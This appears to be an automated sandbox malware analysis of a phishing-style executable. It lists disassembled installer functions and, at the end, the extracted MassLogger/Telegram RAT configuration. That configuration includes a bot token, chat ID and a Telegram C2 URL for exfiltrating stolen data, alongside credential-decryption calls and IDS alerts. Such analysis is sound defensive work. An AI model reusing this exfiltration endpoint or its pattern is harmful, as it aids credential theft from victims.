Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: SWIFT091816-24_pdf.exe.7844.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841D1EC CryptUnprotectData,		4_2_3841D1EC
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841D9D9 CryptUnprotectData,		4_2_3841D9D9

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49852 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49883 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49872 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49891 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49861 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
